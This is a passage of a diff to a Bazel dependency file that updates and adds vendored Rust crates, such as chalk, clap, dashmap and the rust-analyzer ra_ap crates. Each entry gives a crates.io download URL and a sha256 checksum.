"@rules_rust//rust/platform:x86_64-unknown-fuchsia", "@rules_rust//rust/platform:x86_64-unknown-linux-gnu", "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu", "@rules_rust//rust/platform:x86_64-unknown-none", "@rules_rust//rust/platform:x86_64-unknown-uefi"], "cfg(target_os = \"android\")": ["@rules_rust//rust/platform:aarch64-linux-android", "@rules_rust//rust/platform:armv7-linux-androideabi", "@rules_rust//rust/platform:i686-linux-android", "@rules_rust//rust/platform:x86_64-linux-android"], "cfg(target_os = \"haiku\")": [], "cfg(target_os = \"hermit\")": [], - "cfg(target_os = \"linux\")": ["@rules_rust//rust/platform:aarch64-unknown-linux-gnu", "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu", "@rules_rust//rust/platform:arm-unknown-linux-gnueabi", "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi", "@rules_rust//rust/platform:i686-unknown-linux-gnu", "@rules_rust//rust/platform:powerpc-unknown-linux-gnu", "@rules_rust//rust/platform:s390x-unknown-linux-gnu", "@rules_rust//rust/platform:x86_64-unknown-linux-gnu", "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu"], "cfg(target_os = \"macos\")": ["@rules_rust//rust/platform:aarch64-apple-darwin", "@rules_rust//rust/platform:i686-apple-darwin", "@rules_rust//rust/platform:x86_64-apple-darwin"], "cfg(target_os = \"netbsd\")": [], "cfg(target_os = \"redox\")": [], @@ -678,12 +679,12 @@ def crate_repositories(): maybe( http_archive, - name = "vendor_ts__always-assert-0.2.0", - sha256 = "a1078fa1ce1e34b1872d8611ad921196d76bdd7027e949fbe31231abde201892", + name = "vendor_ts__allocator-api2-0.2.21", + sha256 = "683d7910e743518b0e34f1186f92494becacb047c7b6bf616c96772180fef923", type = "tar.gz", - urls = ["https://static.crates.io/crates/always-assert/0.2.0/download"], - strip_prefix = "always-assert-0.2.0", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.always-assert-0.2.0.bazel"), + urls = ["https://static.crates.io/crates/allocator-api2/0.2.21/download"], + strip_prefix = "allocator-api2-0.2.21", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.allocator-api2-0.2.21.bazel"), ) maybe( @@ -758,12 +759,12 @@ def crate_repositories(): maybe( http_archive, - name = "vendor_ts__anyhow-1.0.96", - sha256 = "6b964d184e89d9b6b67dd2715bc8e74cf3107fb2b529990c90cf517326150bf4", + name = "vendor_ts__anyhow-1.0.97", + sha256 = "dcfed56ad506cb2c684a14971b8861fdc3baaaae314b9e5f9bb532cbe3ba7a4f", type = "tar.gz", - urls = ["https://static.crates.io/crates/anyhow/1.0.96/download"], - strip_prefix = "anyhow-1.0.96", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.anyhow-1.0.96.bazel"), + urls = ["https://static.crates.io/crates/anyhow/1.0.97/download"], + strip_prefix = "anyhow-1.0.97", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.anyhow-1.0.97.bazel"), ) maybe( @@ -846,6 +847,16 @@ def crate_repositories(): build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.borsh-1.5.3.bazel"), ) + maybe( + http_archive, + name = "vendor_ts__boxcar-0.2.11", + sha256 = "6740c6e2fc6360fa57c35214c7493826aee95993926092606f27c983b40837be", + type = "tar.gz", + urls = ["https://static.crates.io/crates/boxcar/0.2.11/download"], + strip_prefix = "boxcar-0.2.11", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.boxcar-0.2.11.bazel"), + ) + maybe( http_archive, name = "vendor_ts__bstr-1.11.3", @@ -948,82 +959,82 @@ def crate_repositories(): maybe( http_archive, - name = "vendor_ts__chalk-derive-0.99.0", - sha256 = "572583d9b97f9d277e5c7607f8239a30e2e04d3ed3b47c87d1cb2152ae724073", + name = "vendor_ts__chalk-derive-0.100.0", + sha256 = "ab2d131019373f0d0d1f2af0abd4f719739f6583c1b33965112455f643a910af", type = "tar.gz", - urls = ["https://static.crates.io/crates/chalk-derive/0.99.0/download"], - strip_prefix = "chalk-derive-0.99.0", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.chalk-derive-0.99.0.bazel"), + urls = ["https://static.crates.io/crates/chalk-derive/0.100.0/download"], + strip_prefix = "chalk-derive-0.100.0", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.chalk-derive-0.100.0.bazel"), ) maybe( http_archive, - name = "vendor_ts__chalk-ir-0.99.0", - sha256 = "e60e0ef9c81dce1336a9ed3c76f08775f5b623151d96d85ba45f7b10de76d1c7", + name = "vendor_ts__chalk-ir-0.100.0", + sha256 = "4f114996bda14c0213f014a4ef31a7867dcf5f539a3900477fc6b20138e7a17b", type = "tar.gz", - urls = ["https://static.crates.io/crates/chalk-ir/0.99.0/download"], - strip_prefix = "chalk-ir-0.99.0", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.chalk-ir-0.99.0.bazel"), + urls = ["https://static.crates.io/crates/chalk-ir/0.100.0/download"], + strip_prefix = "chalk-ir-0.100.0", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.chalk-ir-0.100.0.bazel"), ) maybe( http_archive, - name = "vendor_ts__chalk-recursive-0.99.0", - sha256 = "5a06350d614e22b03a69b8105e3541614450a7ea48bc58ecc6c6bd92731a3995", + name = "vendor_ts__chalk-recursive-0.100.0", + sha256 = "551e956e031c09057c7b21f17d48d91de99c9b6b6e34bceaf5e7202d71021268", type = "tar.gz", - urls = ["https://static.crates.io/crates/chalk-recursive/0.99.0/download"], - strip_prefix = "chalk-recursive-0.99.0", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.chalk-recursive-0.99.0.bazel"), + urls = ["https://static.crates.io/crates/chalk-recursive/0.100.0/download"], + strip_prefix = "chalk-recursive-0.100.0", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.chalk-recursive-0.100.0.bazel"), ) maybe( http_archive, - name = "vendor_ts__chalk-solve-0.99.0", - sha256 = "0e428761e9b55bee516bfe2457caed8b6d1b86353f92ae825bbe438a36ce91e8", + name = "vendor_ts__chalk-solve-0.100.0", + sha256 = "cd7ca50181156ce649efe8e5dd00580f573651554e4dcd11afa4e2ac93f53324", type = "tar.gz", - urls = ["https://static.crates.io/crates/chalk-solve/0.99.0/download"], - strip_prefix = "chalk-solve-0.99.0", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.chalk-solve-0.99.0.bazel"), + urls = ["https://static.crates.io/crates/chalk-solve/0.100.0/download"], + strip_prefix = "chalk-solve-0.100.0", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.chalk-solve-0.100.0.bazel"), ) maybe( http_archive, - name = "vendor_ts__chrono-0.4.39", - sha256 = "7e36cc9d416881d2e24f9a963be5fb1cd90966419ac844274161d10488b3e825", + name = "vendor_ts__chrono-0.4.40", + sha256 = "1a7964611d71df112cb1730f2ee67324fcf4d0fc6606acbbe9bfe06df124637c", type = "tar.gz", - urls = ["https://static.crates.io/crates/chrono/0.4.39/download"], - strip_prefix = "chrono-0.4.39", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.chrono-0.4.39.bazel"), + urls = ["https://static.crates.io/crates/chrono/0.4.40/download"], + strip_prefix = "chrono-0.4.40", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.chrono-0.4.40.bazel"), ) maybe( http_archive, - name = "vendor_ts__clap-4.5.31", - sha256 = "027bb0d98429ae334a8698531da7077bdf906419543a35a55c2cb1b66437d767", + name = "vendor_ts__clap-4.5.32", + sha256 = "6088f3ae8c3608d19260cd7445411865a485688711b78b5be70d78cd96136f83", type = "tar.gz", - urls = ["https://static.crates.io/crates/clap/4.5.31/download"], - strip_prefix = "clap-4.5.31", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.clap-4.5.31.bazel"), + urls = ["https://static.crates.io/crates/clap/4.5.32/download"], + strip_prefix = "clap-4.5.32", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.clap-4.5.32.bazel"), ) maybe( http_archive, - name = "vendor_ts__clap_builder-4.5.31", - sha256 = "5589e0cba072e0f3d23791efac0fd8627b49c829c196a492e88168e6a669d863", + name = "vendor_ts__clap_builder-4.5.32", + sha256 = "22a7ef7f676155edfb82daa97f99441f3ebf4a58d5e32f295a56259f1b6facc8", type = "tar.gz", - urls = ["https://static.crates.io/crates/clap_builder/4.5.31/download"], - strip_prefix = "clap_builder-4.5.31", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.clap_builder-4.5.31.bazel"), + urls = ["https://static.crates.io/crates/clap_builder/4.5.32/download"], + strip_prefix = "clap_builder-4.5.32", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.clap_builder-4.5.32.bazel"), ) maybe( http_archive, - name = "vendor_ts__clap_derive-4.5.28", - sha256 = "bf4ced95c6f4a675af3da73304b9ac4ed991640c36374e4b46795c49e17cf1ed", + name = "vendor_ts__clap_derive-4.5.32", + sha256 = "09176aae279615badda0765c0c0b3f6ed53f4709118af73cf4655d85d1530cd7", type = "tar.gz", - urls = ["https://static.crates.io/crates/clap_derive/4.5.28/download"], - strip_prefix = "clap_derive-4.5.28", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.clap_derive-4.5.28.bazel"), + urls = ["https://static.crates.io/crates/clap_derive/4.5.32/download"], + strip_prefix = "clap_derive-4.5.32", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.clap_derive-4.5.32.bazel"), ) maybe( @@ -1116,6 +1127,16 @@ def crate_repositories(): build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.crossbeam-epoch-0.9.18.bazel"), ) + maybe( + http_archive, + name = "vendor_ts__crossbeam-queue-0.3.12", + sha256 = "0f58bbc28f91df819d0aa2a2c00cd19754769c2fad90579b3592b1c9ba7a3115", + type = "tar.gz", + urls = ["https://static.crates.io/crates/crossbeam-queue/0.3.12/download"], + strip_prefix = "crossbeam-queue-0.3.12", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.crossbeam-queue-0.3.12.bazel"), + ) + maybe( http_archive, name = "vendor_ts__crossbeam-utils-0.8.21", @@ -1166,6 +1187,16 @@ def crate_repositories(): build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.dashmap-5.5.3.bazel"), ) + maybe( + http_archive, + name = "vendor_ts__dashmap-6.1.0", + sha256 = "5041cc499144891f3790297212f32a74fb938e5136a14943f338ef9e0ae276cf", + type = "tar.gz", + urls = ["https://static.crates.io/crates/dashmap/6.1.0/download"], + strip_prefix = "dashmap-6.1.0", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.dashmap-6.1.0.bazel"), + ) + maybe( http_archive, name = "vendor_ts__deranged-0.3.11", @@ -1198,12 +1229,12 @@ def crate_repositories(): maybe( http_archive, - name = "vendor_ts__either-1.14.0", - sha256 = "b7914353092ddf589ad78f25c5c1c21b7f80b0ff8621e7c814c3485b5306da9d", + name = "vendor_ts__either-1.15.0", + sha256 = "48c757948c5ede0e46177b7add2e67155f70e33c07fea8284df6576da70b3719", type = "tar.gz", - urls = ["https://static.crates.io/crates/either/1.14.0/download"], - strip_prefix = "either-1.14.0", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.either-1.14.0.bazel"), + urls = ["https://static.crates.io/crates/either/1.15.0/download"], + strip_prefix = "either-1.15.0", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.either-1.15.0.bazel"), ) maybe( @@ -1346,6 +1377,16 @@ def crate_repositories(): build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.fnv-1.0.7.bazel"), ) + maybe( + http_archive, + name = "vendor_ts__foldhash-0.1.5", + sha256 = "d9c4f5dac5e15c24eb999c26181a6ca40b39fe946cbe4c263c7209467bc83af2", + type = "tar.gz", + urls = ["https://static.crates.io/crates/foldhash/0.1.5/download"], + strip_prefix = "foldhash-0.1.5", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.foldhash-0.1.5.bazel"), + ) + maybe( http_archive, name = "vendor_ts__fs-err-2.11.0", @@ -1376,6 +1417,16 @@ def crate_repositories(): build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.fst-0.4.7.bazel"), ) + maybe( + http_archive, + name = "vendor_ts__generator-0.8.4", + sha256 = "cc6bd114ceda131d3b1d665eba35788690ad37f5916457286b32ab6fd3c438dd", + type = "tar.gz", + urls = ["https://static.crates.io/crates/generator/0.8.4/download"], + strip_prefix = "generator-0.8.4", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.generator-0.8.4.bazel"), + ) + maybe( http_archive, name = "vendor_ts__getrandom-0.3.1", @@ -1438,12 +1489,12 @@ def crate_repositories(): maybe( http_archive, - name = "vendor_ts__heck-0.4.1", - sha256 = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8", + name = "vendor_ts__hashlink-0.10.0", + sha256 = "7382cf6263419f2d8df38c55d7da83da5c18aef87fc7a7fc1fb1e344edfe14c1", type = "tar.gz", - urls = ["https://static.crates.io/crates/heck/0.4.1/download"], - strip_prefix = "heck-0.4.1", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.heck-0.4.1.bazel"), + urls = ["https://static.crates.io/crates/hashlink/0.10.0/download"], + strip_prefix = "hashlink-0.10.0", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.hashlink-0.10.0.bazel"), ) maybe( @@ -1726,6 +1777,16 @@ def crate_repositories(): build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.log-0.4.25.bazel"), ) + maybe( + http_archive, + name = "vendor_ts__loom-0.7.2", + sha256 = "419e0dc8046cb947daa77eb95ae174acfbddb7673b4151f56d1eed8e93fbfaca", + type = "tar.gz", + urls = ["https://static.crates.io/crates/loom/0.7.2/download"], + strip_prefix = "loom-0.7.2", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.loom-0.7.2.bazel"), + ) + maybe( http_archive, name = "vendor_ts__lz4_flex-0.11.3", @@ -1996,6 +2057,16 @@ def crate_repositories(): build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.pin-project-lite-0.2.16.bazel"), ) + maybe( + http_archive, + name = "vendor_ts__portable-atomic-1.11.0", + sha256 = "350e9b48cbc6b0e028b0473b114454c6316e57336ee184ceab6e53f72c178b3e", + type = "tar.gz", + urls = ["https://static.crates.io/crates/portable-atomic/1.11.0/download"], + strip_prefix = "portable-atomic-1.11.0", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.portable-atomic-1.11.0.bazel"), + ) + maybe( http_archive, name = "vendor_ts__powerfmt-0.2.0", @@ -2018,12 +2089,12 @@ def crate_repositories(): maybe( http_archive, - name = "vendor_ts__proc-macro2-1.0.93", - sha256 = "60946a68e5f9d28b0dc1c21bb8a97ee7d018a8b322fa57838ba31cc878e22d99", + name = "vendor_ts__proc-macro2-1.0.94", + sha256 = "a31971752e70b8b2686d7e46ec17fb38dad4051d94024c88df49b667caea9c84", type = "tar.gz", - urls = ["https://static.crates.io/crates/proc-macro2/1.0.93/download"], - strip_prefix = "proc-macro2-1.0.93", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.proc-macro2-1.0.93.bazel"), + urls = ["https://static.crates.io/crates/proc-macro2/1.0.94/download"], + strip_prefix = "proc-macro2-1.0.94", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.proc-macro2-1.0.94.bazel"), ) maybe( @@ -2038,342 +2109,332 @@ def crate_repositories(): maybe( http_archive, - name = "vendor_ts__quote-1.0.38", - sha256 = "0e4dccaaaf89514f546c693ddc140f729f958c247918a13380cccc6078391acc", + name = "vendor_ts__quote-1.0.40", + sha256 = "1885c039570dc00dcb4ff087a89e185fd56bae234ddc7f056a945bf36467248d", type = "tar.gz", - urls = ["https://static.crates.io/crates/quote/1.0.38/download"], - strip_prefix = "quote-1.0.38", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.quote-1.0.38.bazel"), + urls = ["https://static.crates.io/crates/quote/1.0.40/download"], + strip_prefix = "quote-1.0.40", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.quote-1.0.40.bazel"), ) maybe( http_archive, - name = "vendor_ts__ra-ap-rustc_abi-0.97.0", - sha256 = "3829c3355d1681ffeaf1450ec71edcdace6820fe2e86469d8fc1ad45e2c96460", + name = "vendor_ts__ra-ap-rustc_abi-0.100.0", + sha256 = "f1651b0f7e8c3eb7c27a88f39d277e69c32bfe58e3be174d286c1a24d6a7a4d8", type = "tar.gz", - urls = ["https://static.crates.io/crates/ra-ap-rustc_abi/0.97.0/download"], - strip_prefix = "ra-ap-rustc_abi-0.97.0", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra-ap-rustc_abi-0.97.0.bazel"), + urls = ["https://static.crates.io/crates/ra-ap-rustc_abi/0.100.0/download"], + strip_prefix = "ra-ap-rustc_abi-0.100.0", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra-ap-rustc_abi-0.100.0.bazel"), ) maybe( http_archive, - name = "vendor_ts__ra-ap-rustc_hashes-0.97.0", - sha256 = "1bd4d6d4c434bec08e02370a4f64a4985312097215a62e82d0f757f3a98e502e", + name = "vendor_ts__ra-ap-rustc_hashes-0.100.0", + sha256 = "2bcd85e93dc0ea850bcfe7957a115957df799ccbc9eea488bdee5ec6780d212b", type = "tar.gz", - urls = ["https://static.crates.io/crates/ra-ap-rustc_hashes/0.97.0/download"], - strip_prefix = "ra-ap-rustc_hashes-0.97.0", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra-ap-rustc_hashes-0.97.0.bazel"), + urls = ["https://static.crates.io/crates/ra-ap-rustc_hashes/0.100.0/download"], + strip_prefix = "ra-ap-rustc_hashes-0.100.0", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra-ap-rustc_hashes-0.100.0.bazel"), ) maybe( http_archive, - name = "vendor_ts__ra-ap-rustc_index-0.97.0", - sha256 = "bad6fc4bd7522e31096e2de5b0351144fe0684b608791ee26c842bf2da1b19ae", + name = "vendor_ts__ra-ap-rustc_index-0.100.0", + sha256 = "62b295fc0640cd9fe0ecab872ee4a17a96f90a3998ec9f0c4765e9b8415c12cc", type = "tar.gz", - urls = ["https://static.crates.io/crates/ra-ap-rustc_index/0.97.0/download"], - strip_prefix = "ra-ap-rustc_index-0.97.0", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra-ap-rustc_index-0.97.0.bazel"), + urls = ["https://static.crates.io/crates/ra-ap-rustc_index/0.100.0/download"], + strip_prefix = "ra-ap-rustc_index-0.100.0", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra-ap-rustc_index-0.100.0.bazel"), ) maybe( http_archive, - name = "vendor_ts__ra-ap-rustc_index_macros-0.97.0", - sha256 = "cfb234e1f84b92be45276c3025bee18789e9bc95bec8789bec961e78edb01c52", + name = "vendor_ts__ra-ap-rustc_index_macros-0.100.0", + sha256 = "c675f4257023aa933882906f13802cae287e88cc39ab13cbb96809083db0c801", type = "tar.gz", - urls = ["https://static.crates.io/crates/ra-ap-rustc_index_macros/0.97.0/download"], - strip_prefix = "ra-ap-rustc_index_macros-0.97.0", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra-ap-rustc_index_macros-0.97.0.bazel"), + urls = ["https://static.crates.io/crates/ra-ap-rustc_index_macros/0.100.0/download"], + strip_prefix = "ra-ap-rustc_index_macros-0.100.0", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra-ap-rustc_index_macros-0.100.0.bazel"), ) maybe( http_archive, - name = "vendor_ts__ra-ap-rustc_lexer-0.97.0", - sha256 = "7a3a40bd11dc43d1cb110e730b80620cf8102f4cca8920a02b65954da0ed931f", + name = "vendor_ts__ra-ap-rustc_lexer-0.100.0", + sha256 = "c8358702c2a510ea84ba5801ddc047d9ad9520902cfb0e6173277610cdce2c9c", type = "tar.gz", - urls = ["https://static.crates.io/crates/ra-ap-rustc_lexer/0.97.0/download"], - strip_prefix = "ra-ap-rustc_lexer-0.97.0", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra-ap-rustc_lexer-0.97.0.bazel"), + urls = ["https://static.crates.io/crates/ra-ap-rustc_lexer/0.100.0/download"], + strip_prefix = "ra-ap-rustc_lexer-0.100.0", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra-ap-rustc_lexer-0.100.0.bazel"), ) maybe( http_archive, - name = "vendor_ts__ra-ap-rustc_parse_format-0.97.0", - sha256 = "5feb877478994cb4c0c0c7a5116a352eefc0634aefc8636feb00a893fa5b7135", + name = "vendor_ts__ra-ap-rustc_parse_format-0.100.0", + sha256 = "b98f402011d46732c35c47bfd111dec0495747fef2ec900ddee7fe15d78449a7", type = "tar.gz", - urls = ["https://static.crates.io/crates/ra-ap-rustc_parse_format/0.97.0/download"], - strip_prefix = "ra-ap-rustc_parse_format-0.97.0", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra-ap-rustc_parse_format-0.97.0.bazel"), + urls = ["https://static.crates.io/crates/ra-ap-rustc_parse_format/0.100.0/download"], + strip_prefix = "ra-ap-rustc_parse_format-0.100.0", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra-ap-rustc_parse_format-0.100.0.bazel"), ) maybe( http_archive, - name = "vendor_ts__ra-ap-rustc_pattern_analysis-0.97.0", - sha256 = "a76774d35934d464c4115908cde16f76a4f7e540fe1eea6b79336c556e37bdd3", + name = "vendor_ts__ra-ap-rustc_pattern_analysis-0.100.0", + sha256 = "bef3ff73fa4653252ffe1d1e9177a446f49ef46d97140e4816b7ff2dad59ed53", type = "tar.gz", - urls = ["https://static.crates.io/crates/ra-ap-rustc_pattern_analysis/0.97.0/download"], - strip_prefix = "ra-ap-rustc_pattern_analysis-0.97.0", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra-ap-rustc_pattern_analysis-0.97.0.bazel"), + urls = ["https://static.crates.io/crates/ra-ap-rustc_pattern_analysis/0.100.0/download"], + strip_prefix = "ra-ap-rustc_pattern_analysis-0.100.0", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra-ap-rustc_pattern_analysis-0.100.0.bazel"), ) maybe( http_archive, - name = "vendor_ts__ra_ap_base_db-0.0.266", - sha256 = "5d8e4a327f1a8ace5afced54ebaa1a34f8cf0bb535a28aefb8300e8ea49a7d6e", + name = "vendor_ts__ra_ap_base_db-0.0.270", + sha256 = "4baa9734d254af14fd603528ad594650dea601b1764492bd39988da38598ae67", type = "tar.gz", - urls = ["https://static.crates.io/crates/ra_ap_base_db/0.0.266/download"], - strip_prefix = "ra_ap_base_db-0.0.266", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_base_db-0.0.266.bazel"), + urls = ["https://static.crates.io/crates/ra_ap_base_db/0.0.270/download"], + strip_prefix = "ra_ap_base_db-0.0.270", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_base_db-0.0.270.bazel"), ) maybe( http_archive, - name = "vendor_ts__ra_ap_cfg-0.0.266", - sha256 = "4d974450788b1f90243c5f2231875ed4d7087444975c0190a1c2cb02c3ed465d", + name = "vendor_ts__ra_ap_cfg-0.0.270", + sha256 = "0ef2ba45636c5e585040c0c4bee640737a6001b08309f1a25ca78cf04abfbf90", type = "tar.gz", - urls = ["https://static.crates.io/crates/ra_ap_cfg/0.0.266/download"], - strip_prefix = "ra_ap_cfg-0.0.266", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_cfg-0.0.266.bazel"), + urls = ["https://static.crates.io/crates/ra_ap_cfg/0.0.270/download"], + strip_prefix = "ra_ap_cfg-0.0.270", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_cfg-0.0.270.bazel"), ) maybe( http_archive, - name = "vendor_ts__ra_ap_edition-0.0.266", - sha256 = "c3b1b961a84cb09a4e06e44d06b2e77bcf546d0c2623df9545ba9cc694880989", + name = "vendor_ts__ra_ap_edition-0.0.270", + sha256 = "8955c1484d5e7274f755187788ba0d51eb149f870c69cdf0d87c3b7edea20ea0", type = "tar.gz", - urls = ["https://static.crates.io/crates/ra_ap_edition/0.0.266/download"], - strip_prefix = "ra_ap_edition-0.0.266", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_edition-0.0.266.bazel"), + urls = ["https://static.crates.io/crates/ra_ap_edition/0.0.270/download"], + strip_prefix = "ra_ap_edition-0.0.270", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_edition-0.0.270.bazel"), ) maybe( http_archive, - name = "vendor_ts__ra_ap_hir-0.0.266", - sha256 = "ff0672e35a6cf12333cb6b9e3fd18aba4bc724fa7c7b24c3253df4730be1f9c3", + name = "vendor_ts__ra_ap_hir-0.0.270", + sha256 = "a51d7955beff2212701b149bea36d4cf2dc0f5cd129652c9bcf0cb5c0b021078", type = "tar.gz", - urls = ["https://static.crates.io/crates/ra_ap_hir/0.0.266/download"], - strip_prefix = "ra_ap_hir-0.0.266", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_hir-0.0.266.bazel"), + urls = ["https://static.crates.io/crates/ra_ap_hir/0.0.270/download"], + strip_prefix = "ra_ap_hir-0.0.270", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_hir-0.0.270.bazel"), ) maybe( http_archive, - name = "vendor_ts__ra_ap_hir_def-0.0.266", - sha256 = "fde2fb9361257e31e73e63eb2d07445ea3fd4cd1e7bae7f45e7ba82bcfcde29a", + name = "vendor_ts__ra_ap_hir_def-0.0.270", + sha256 = "e5c97e617e4c585d24b3d4f668861452aedddfbe0262f4c53235dcea77e62f9b", type = "tar.gz", - urls = ["https://static.crates.io/crates/ra_ap_hir_def/0.0.266/download"], - strip_prefix = "ra_ap_hir_def-0.0.266", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_hir_def-0.0.266.bazel"), + urls = ["https://static.crates.io/crates/ra_ap_hir_def/0.0.270/download"], + strip_prefix = "ra_ap_hir_def-0.0.270", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_hir_def-0.0.270.bazel"), ) maybe( http_archive, - name = "vendor_ts__ra_ap_hir_expand-0.0.266", - sha256 = "1823b649710bf1829c894f774dfe66acb33a3e5bc7409ff7836cd19f6e09c250", + name = "vendor_ts__ra_ap_hir_expand-0.0.270", + sha256 = "be57c0d7e3f2180dd8ea584b11447f34060eadc06f0f6d559e2a790f6e91b6c5", type = "tar.gz", - urls = ["https://static.crates.io/crates/ra_ap_hir_expand/0.0.266/download"], - strip_prefix = "ra_ap_hir_expand-0.0.266", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_hir_expand-0.0.266.bazel"), + urls = ["https://static.crates.io/crates/ra_ap_hir_expand/0.0.270/download"], + strip_prefix = "ra_ap_hir_expand-0.0.270", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_hir_expand-0.0.270.bazel"), ) maybe( http_archive, - name = "vendor_ts__ra_ap_hir_ty-0.0.266", - sha256 = "72a591a02787bd2e938c25fceb1f831d0929b9c08726e6d831f85c4a9fba04b5", + name = "vendor_ts__ra_ap_hir_ty-0.0.270", + sha256 = "f260f35748f3035b46a8afcdebda7cb75d95c24750105fad86101d09a9d387c8", type = "tar.gz", - urls = ["https://static.crates.io/crates/ra_ap_hir_ty/0.0.266/download"], - strip_prefix = "ra_ap_hir_ty-0.0.266", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_hir_ty-0.0.266.bazel"), + urls = ["https://static.crates.io/crates/ra_ap_hir_ty/0.0.270/download"], + strip_prefix = "ra_ap_hir_ty-0.0.270", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_hir_ty-0.0.270.bazel"), ) maybe( http_archive, - name = "vendor_ts__ra_ap_ide_db-0.0.266", - sha256 = "c74386061453edc3ebfd52141c7c3cde109a7427faff9792a303c3c09a762a01", + name = "vendor_ts__ra_ap_ide_db-0.0.270", + sha256 = "0426263be26e27cb55a3b9ef88b120511b66fe7d9b418a2473d6d5f3ac2fe0a6", type = "tar.gz", - urls = ["https://static.crates.io/crates/ra_ap_ide_db/0.0.266/download"], - strip_prefix = "ra_ap_ide_db-0.0.266", - build_file = 